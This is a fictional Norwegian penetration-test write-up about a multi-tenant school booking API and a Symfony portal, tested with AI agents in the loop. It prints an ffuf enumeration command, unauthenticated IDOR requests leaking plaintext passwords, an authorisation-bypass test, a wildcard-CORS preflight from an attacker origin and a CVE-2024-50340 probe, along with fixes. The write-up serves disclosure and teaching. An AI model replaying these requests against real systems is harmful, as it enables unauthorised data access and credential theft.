Hopp til hovedinnhold
Erik Nilsen
12 min lesingVis som Markdown

Cross-tenant-funnet overlevde verifiseringen — og var verre

  • #pentest
  • #api-security
  • #idor
  • #multi-tenant
  • #ai
  • #security

FIKTIVT: Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert.

Forrige gang jeg skrev om et cross-tenant-funn, overlevde det ikke verifiseringen — en negativ kontroll nedgraderte det fra brudd til støy. Denne gangen var det omvendt: det som så ut som et enkelt manglende autorisasjonssjekk, overlevde alle kontrollene jeg kunne finne på, og det var verre enn jeg trodde første gang jeg så det. Det verste funnet i hele oppdraget var også det enkleste: et uautentisert GET mot et resource-endepunkt som returnerte andre tenants' bookinger med passord i klartekst.

Kontekst

Kunden, Brunost AS (brunostas.no), driver et booking- og resurssystem solgt til skoler. Hver skole er en tenant med sin egen workspace, sitt eget subdomain og — i teorien — sin egen lese- og skrivpassord-beskyttelse. IT-sjefen Tor Jacobsen ([email protected]) ba om én ting: «kom inn, finn kundedata, finn alt dere kan». Scope var tretten klienteide hostnames under brunostas.no og brunolearn.no, uautentisert testing, med strenge provider-eksklusjoner — delt hosting hos One.com, Cloudflare-edge og ILAIT/FS Data skulle ikke røres.

Jeg jobber slike oppdrag med AI i loopen. Agenter gjør recon, kartlegger endepunkter, kjører fuzzere og foreslår neste steg; jeg styrer scope, tar vurderingene og gjør de bitene som krever menneskelig dømmekraft — verifisering, alvorlighetsgrad, hva som skal beholdes som bevis. Denne gangen fikk en agent parslet JavaScript-bundlen til booking-SPA-en og rekonstruert hele API-rutene offline — både de Bearer-beskyttede og de uautentiserte. Det var det kartet som åpnet hele kjeden.

Det jeg fant: uautentisert cross-tenant-lesing med passord i klartekst

Booking-API-et på api-booking.brunostas.no er en Node/Express-backend foran Cloudflare. Den har to typer ruter: noen krever en Bearer-token i en JS-adminaged cookie kalt auth, andre er åpne. Problemet er at resource-rutene — de som returnerer faktiske bookinger — ligger i den åpne familien. Ingen autentisering, ingen tenant-avgrensning, ingen sjekk på om kalleren tilhører workspace-en den spør om.

Kjeden var pinlig rettfram: enumerer tenantene, finn en resource, les alle bookinger med passord.

PoC / Reproduksjon

Forutsetninger: ingen. Hele kjeden er uautentisert — ingen konto, ingen sesjon, ingen header. Det er poenget, og det er det den negative kontrollen under bekrefter.

1. Enumer tenantene via subdomain-koder

SPA-bundlen avslørte at workspace-oppslag skjer via /workspaces/subdomain/{subdomain}, og subdomain-kodene er tre bokstaver. Jeg lot AI-en sette opp en ffuf-kjøring mot endepunktet med en tre-bokstavs ordliste, rate-begrenset til 40 forespørsler per sekund:

ffuf -u https://api-booking.brunostas.no/workspaces/subdomain/FUZZ \
  -w 3letter.txt -mc 200 -rate 40 -t 20 -timeout 10 -s
GET /workspaces/subdomain/lkm HTTP/1.1
Host: api-booking.brunostas.no
 
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
 
{"ok":true,"result":{"id":8,"name":"Lokkestien Montessoriskole","subdomain":"lkm","ownerId":"11111111-1111-4111-8111-111111111111","settings":{"workspaceId":8,"readPasswordEnabled":false,"writePasswordEnabled":false,"showBookedBy":true,"allowedBookingAdvanceDays":null},"calendarIntervals":[]}}

56 tenants kom tilbake med 200. Hver respons avslørte workspace-id, navn, eier-UUID og — viktigst — readPasswordEnabled og writePasswordEnabled. 55 av 56 hadde begge satt til false. Én tenant hadde writePasswordEnabled: true; lesepassord var av hos alle. Det betyr at lesebeskyttelse i praksis ikke eksisterer for noen tenant, og skrivebeskyttelsen er en klient-side-sjekk som API-et uansett ikke håndhever (se steg 4).

2. Les en resource med alle bookinger og passord

Fra resource-stat-endepunktet (/resource-bookings/resource-stat?workspaceId=8, også uautentisert 200) fikk jeg resource-navn og booking-antall. Men det var GET /resources/{resourceUuid} som var det virkelige hullet — det returnerer hele resource-objektet med alle bookinger, inkludert bookedBy-navn og et password-felt i klartekst:

GET /resources/22222222-2222-4222-8222-222222222222 HTTP/1.1
Host: api-booking.brunostas.no
 
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 3122538
 
{"ok":true,"result":{"id":"22222222-...","type":2,"name":"Det Grønne Rommet","workspaceId":8,"resourceBookingsCount":5679,"resourceBookings":[{"id":"33333333-...","name":"Innlogging barn","bookedBy":"Karin Borgen","password":"<REDACTED-PLAINTEXT>","fromDate":"2023-08-22T12:00:00.000Z","toDate":"2023-08-22T12:15:00.000Z","workspaceId":8,"bookedQuantity":1,"savedWithWritePassword":false,"isRecurring":false}]}}

Responsen var 3,1 MB. Jeg beholdt én maskert post som bevis og slettet ikke bulk-responsen — single-shot-doktrinen i SoW-en sa ett minimalt bevis, så det var det jeg tok. Passordfeltet var der, i klartekst, for en booking bookedBy en navngitt person i en annen tenants workspace. Jeg hadde aldri logget inn. Jeg hadde aldri engang oppgitt et workspace-passord.

3. Negativ kontroll — autorisasjonsporten som sjekker ingenting

Dette er steget som skiller «et endepunkt returnerte 200» fra et bekreftet brudd. Booking-API-et har to autorisasjonsporter, /resource-bookings/view/authorize og /resource-bookings/write/authorize, som skal validere workspace og passord før lesing/skriving. Jeg spurte en agent om å teste dem mot to workspace-id-er som ikke finnes (999998 og 999999) med to forskjellige tilfeldige passord:

POST /resource-bookings/view/authorize HTTP/1.1
Host: api-booking.brunostas.no
Content-Type: application/json
 
{"workspaceId":999999,"password":"arbitrary-canary-not-a-real-password"}
 
HTTP/1.1 200 OK
 
{"ok":true,"result":true}
POST /resource-bookings/write/authorize HTTP/1.1
Host: api-booking.brunostas.no
Content-Type: application/json
 
{"workspaceId":999998,"password":"different-arbitrary-canary"}
 
HTTP/1.1 200 OK
 
{"ok":true,"result":true}

Begge portene returnerte result:true for en workspace som ikke eksisterer, med et passord som er oppdiktet. Porten sjekker ingenting. Uten denne kontrollen kunne noen argumentert for at resource-endepunktet var «offentlig ved design» eller at jeg hadde gjettet et gyldig passord. At en ikke-eksisterende tenant autoriseres med søppelpassord, beviser at autorisasjon er en no-op.

4. Skrive-pipelinen når forretningslogikk uten autentisering

For å se om det samme gjaldt skriving, sendte jeg bulk-create og bulk-delete med bevisst ikke-eksisterende UUID-er mot to eksisterende workspaces. Målet var å se om forespørselen stoppes av auth-middleware eller når forretningslogikken:

POST /resource-bookings/bulk HTTP/1.1
Host: api-booking.brunostas.no
Content-Type: application/json
 
{"workspaceId":8,"resourceId":"44444444-4444-4444-8444-444444444444","bookings":[]}
 
HTTP/1.1 404 Not Found
 
{"code":"resource_not_found","message":"Not Found","ok":false}

404 resource_not_found, ikke 401 Unauthorized. Forespørselen passerte auth-middleware, nådde resource-oppslaget, og feilet først der — fordi UUID-en jeg oppga ikke finnes. Hadde jeg oppgitt en ekte resource-UUID, ville den nått create-logikken. Samme mønster for /resource-bookings/bulk/delete: 404 resource_not_found, ikke 401. Jeg opprettet eller slettet ingen ekte booking — det ville krevd å mutere produksjonsdata, og det gjorde jeg ikke.

5. Wildcard-CORS gjør det cross-origin utnyttbart

Det siste leddet: en Chromium-PoC fra en vilkårlig origin bekreftet at skrive-pipelinen er callable fra en hvilken som helst nettside i en brukers browser. OPTIONS-preflight:

OPTIONS /resource-bookings/bulk HTTP/1.1
Host: api-booking.brunostas.no
Origin: https://evil.example.net
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
 
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
Access-Control-Allow-Headers: content-type

Access-Control-Allow-Origin: * på create-, delete- og authorize-endepunkter. En ondsinnet side kan preflighte, sende og lese responsene. Kombinert med at auth er en no-op, betyr det at en drive-by-side kan lese andre tenants' bookinger og passord i en innlogget brukers browser.

Critical

Mitigering

Kjernen er at resource-, booking- og autorisasjonsrutene mangler server-side tenant- og autentisasjons-sjekker. Fiksen er å kreve en gyldig, tenant-scoped autorisasjon på hver resource-, workspace- og booking-operasjon, og fjerne passord fra API-responser og lagring helt.

 router.get('/resources/:uuid', async (req, res) => {
-  const resource = await getResource(req.params.uuid);
+  const user = await requireAuth(req);
+  const resource = await getResource(req.params.uuid);
+  if (resource.workspaceId !== user.workspaceId) return res.status(404).end();
   res.json({ ok: true, result: resource });
 });
-const authorized = await checkWorkspacePassword(workspaceId, password);
+const user = await requireAuth(req);
+if (!user || user.workspaceId !== workspaceId) return res.status(401).end();

I tillegg: roter alle eksponerte passord, varsle berørte tenants, bytt ut wildcard-CORS med en allowlist over godkjente originer, og returner 404 (ikke 403) på fremmede UUID-er så existence ikke bekreftes.

CVE-2024-50340: Symfony dev-mode på Assist

Assist-portalen (assist.brunostas.no) er en Symfony 7.0.10-app. En agent flagget at versjonen er i det berørte området for CVE-2024-50340, som lar en uautentisert requester bytte kernel-miljø via en rå query-string. Jeg reproduserte det manuelt med et lite Python-script — to eksakte gjengivelser pluss en helsesjekk, ingen autentisering, ingen dataaksess:

GET /__sagene_runtime_probe_7f3b__/?=+--env=dev HTTP/1.1
Host: assist.brunostas.no
Accept: text/html
Connection: close
 
HTTP/1.1 500 Internal Server Error
X-Debug-Exception: Class "Symfony\Bundle\DebugBundle\DebugBundle" not found
X-Debug-Exception-File: /var/www/html/vendor/symfony/framework-bundle/Kernel/MicroKernelTrait.php:136
Content-Type: text/html; charset=utf-8
 
[full Symfony 7.0.10 exception page: absolute paths, source excerpts, stack trace]

Begge gjengivelsene returnerte identisk body-SHA-256 (abf4413c...), og GET /auth/login/ etterpå ga normal 200 — miljøbyttet er per-request, ikke persistent.

Jeg forsøkte å kjede det videre — profiler, /_wdt, /_fragment, /.env, /composer.json, kildekode. Alt stoppet i det samme DebugBundle-feilen: dev-kernelen kan ikke boote fordi DebugBundle ikke er installert i produksjon. Ingen APP_SECRET, ingen DSN, ingen RCE, ingen auth-bypass. CVE-en er ekte og bekreftet, men impacten her er informasjonsdisclosure og tilgjengelighet, ikke kodekjøring.

High — uautentisert, reprodusert to ganger, og det som lekker (versjon, absolute stier, kildeutdrag) gjør ethvert neste funn i samme app lettere å utnytte. Fiksen: oppgrader fra end-of-life Symfony 7.0 til en patchet linje, sett register_argc_argv=Off for web-SAPI, og strip debug-headere i edge-en.

2FA som ikke invaliderer eksisterende sesjon

På en seljregistrert canary-konto testet jeg Assist sin 2FA-livssyklus. Funn: å aktivere e-post-2FA verken roterer eller invaliderer en PHPSESSID utstedt mens 2FA var av.

Forutsetninger: eid canary, 2FA av, autentisert PHPSESSID lagret i minnet.

  1. Logg inn med canary, lagre PHPSESSID.
  2. Aktiver e-post-2FA: POST /auth/2fa/set/email/302 til /dash/settings/2fa/. Sesjons-ID er uendret.
  3. I en ny, isolert browserkontekst: sett inn den eksakte pre-enable cookie-en og naviger til GET /dash/.
  4. Resultat: 200 med canary-dashbordet, ingen 2FA-utfordring.

Negativ kontroll: direkte navigasjon til /dash/ etter passord men før OTP → redirect til /auth/2fa. Fjernet/array-typet _auth_code → ingen bypass. Respons-tampering → ingen bypass. Gammel OTP i ny login → avvist. Det er ikke en login-bypass — det er at en allerede stjålet sesjon overlever 2FA-aktivering. En angriper som allerede har sesjonen, beholder tilgangen inntil utlogging eller server-side utløp.

Medium. Opprydding: jeg deaktiverte 2FA, logget ut, verifiserte at uautentisert /dash/ redirecter til /auth/login/, og beholdt null OTP/TOTP-secrets. Fiksen: roter sesjons-ID og invalider alle andre aktive sesjoner ved 2FA-aktivering, deaktivering og metodebytte.

De andre funnene

Disse er ekte og bekreftet, men kortere her fordi de enten bygger på det samme eller er lavere alvorlighetsgrad:

  • Åpen seljregistrering på Assist High. /auth/register/ oppretter en «Konsulent»-konto uten e-postverifikasjon eller admin-godkjenning. To uavhengige kontoer bekreftet det. I seg selv ga kontoene 403/404 på admin-, location- og ticket-ruter — men kombinert med ethvert senere rolle- eller objektautorisasjonsfunn blir det en direkte vei til kundedata. Fiks: krev verifisert firmadomain og admin-godkjenning.

  • SendGrid API-token i offentlig repo High. I et offentlig GitHub-repo (eivindm/PostSender, fil PostSenderAPI.py:8, commit fra mars 2025) lå en SendGrid-klasse token, med avsenderidentitet [email protected] i samme fil. Gitleaks og en uavhengig TruffleHog-detector fant samme verdi. Jeg validerte den ikke mot SendGrid — det er tredjeparts-SaaS og utenfor scope. Fiks: roter tokenet umiddelbart, sjekk SendGrid-aktivitet fra mars 2025, fjern det fra Git-historikk, og flytt secrets til miljøbasert lagring.

  • Ingen login-throttling eller lockout på Assist Medium. Gjentatte feilede innlogginger ga ingen 429, ingen utlåsing, ingen backoff. Spesielt alvorlig kombinert med at booking-passordene lekker i klartekst — de kan prøves mot Assist-login. Fiks: per-konto og per-kilde throttling, eksponentiell backoff, breached-password-sjekk.

  • Brukernummerering på Assist Medium. Duplikat-registrering og timing-forskjeller skiller eksisterende fra ikke-eksisterende kontoer. Fiks: identisk status, body og timing for begge tilfeller.

  • Default Apache-origin på storage Medium. storage.brunostas.no serverer en ukonfigurert Apache-defaultside og avslører en tilsynelatende direkte origin. Samme mønster som origin-serveren som omgikk Cloudflare i et tidligere oppdrag. Fiks: fjern ubrukt vhost, begrens origin til tiltenkt reverse proxy.

  • Booking-API enumererer brukere Low. /users/login returnerer distinkte user_does_not_exist-responser som avslører gyldige kontoer. Fiks: normaliser auth-feil og timing.

Blindveier og forkastede falske positiver

Halve verdien i et AI-i-loopen-oppdrag ligger i det du forkaster. Her er det som så lovende ut og ikke holdt:

  • Assist admin/export-tilgang. Seljregistrerte konsulent-kontoen fikk 403/404 på admin, location, ticket og export-ruter. Header-manipulasjon, metode-negotiation, _switch_user, _format, mass-assignment og objekt-ID-varianter ga ingenting. Den mistenkte «alle kunder»-Excel-eksporten var spesifikt testet — den var ikke tilgjengelig uautentisert og returnerte ikke kunderegister til lav-privilegert rolse. Det negative resultatet skal ikke rapporteres som en PII-lekkasje.

  • Booking admin-token. Bearer null/undefined, usignert alg:none-JWT, rolle-headere, path-rewrites, login-SQLi, NoSQL-operator-injection og prototype-pollution ga ingen token. Én passord-reuse-pass mot fem bekreftede booking-brukernavn feilet med to-sekunders spacing. Ingen OpenAPI, Swagger, GraphQL, health eller debug-endepunkter var eksponert.

  • Injection. 74 begrensede forespørsler mot booking og assist — SQL, NoSQL, kommando, SSTI, LDAP, traversal — alle negative. Booking sine 500-responser med interne stier/stack-traces var feilhåndtering og uhandlet not-found, ikke injection. Boolean- og timing-kontroller viste ingen differential.

  • XSS og prototype-pollution. Ingen reflektert eller DOM-XSS; Assist kodet attributter og Trix fjernet event/SVG/JavaScript-URL-innhold før innsending. Booking sin defaultSettings JSON-til-Lodash-merge-endring Object.prototype ikke. Ingen security-impact-gadget.

  • On-prem CVE-er. Ingen bekreftet. CVE-2024-38475/38474, CVE-2026-22557 og CVE-2026-42533 forble ubekreftet fordi pakke-revisjon/konfigurasjon manglet, backends var utilgjengelige, eller trygg validering ville krevd et crash-primitiv. Booking-CVE-bølgen var negativ — ingen bekreftet CVE utover Assist-funnet.

Verktøy og hvem som kjørte hva

  • Endepunkt-kartlegging: agent parslet booking-SPA-bundlen offline og rekonstruerte Bearer-beskyttede og uautentiserte rute-familier. AI-generert.
  • Tenant-enumerasjon: ffuf mot /workspaces/subdomain/FUZZ med tre-bokstavs ordliste, rate 40/s. AI satt opp kommandoen; jeg satte rate-limit og scope.
  • IDOR-verifisering: resource-lesing og autorisasjonsport-testene kjørte agenten; jeg valgte ut den ene posten som ble beholdt (single-shot) og bestemte at bulk-responsen ikke skulle lagres.
  • CVE-2024-50340: jeg skrev og kjørte probe_runtime.py manuelt — to eksakte GET-gjengivelser, en diskriminator og en helsesjekk.
  • 2FA-replay: jeg gjorde hele arbeidsflyten i Playwright mot den eid canary-en manuelt; agenten skrev en offline verifikator som sjekket det redigerte beviset mot faste assertions.
  • SendGrid-token: Gitleaks og TruffleHog (offline, verifikasjon av) — AI-kjørt. Ingen SendGrid-forespørsel ble gjort.

Hva jeg lærte

  • Det enkleste endepunktet var det verste. Ingen smart bypass, ingen kjedet 0-day — bare et GET uten autentisering som returnerte passord. Når agenter kartlegger ruter, er det de «åpne» familiene som fortjener mest oppmerksomhet, ikke de som krever token.
  • Den negative kontrollen bestemmer alvorlighetsgraden. At autorisasjonsporten returnerte true for en ikke-eksisterende tenant med søppelpassord, er det som gjør dette til et bekreftet brudd og ikke «kanskje det er offentlig ved design». At bulk-create returnerte 404 og ikke 401, beviser at auth-middleware er passert.
  • Passord i API-responser er en force-multiplier. Selve lekkasjen er alvorlig; at passordene kan prøves mot Assist-login (som ikke har throttling) gjør det til et sammensatt scenario. Behandle passord-eksponering som et credential-rot-event, ikke bare en data-lekkasje.
  • Bounded negatives er funn de også. At Excel-eksporten holdt, at injection var negativ, at dev-kernelen ikke kunne boote — disse er det som holder alvorlighetsgraden nøyaktig. En agent produserer plausible funn fort; verifiseringen er det som skiller dem fra støy.

Veien videre

Førsteprioritet er booking-API-et: steng eller firewall det inntil autorisasjon er på plass, fjern passord fra responser, og roter alle eksponerte passord. Deretter Symfony-oppgradering og SendGrid-token-rotasjon. Jeg ville lagt en automatisert test som krever at en uautentisert requester mot /resources/{uuid} i en annen tenant returnerer 404 — ikke 200 med passord. Det er testen som ville fanget dette før det nådde produksjon, og det er testen som holder det fikset.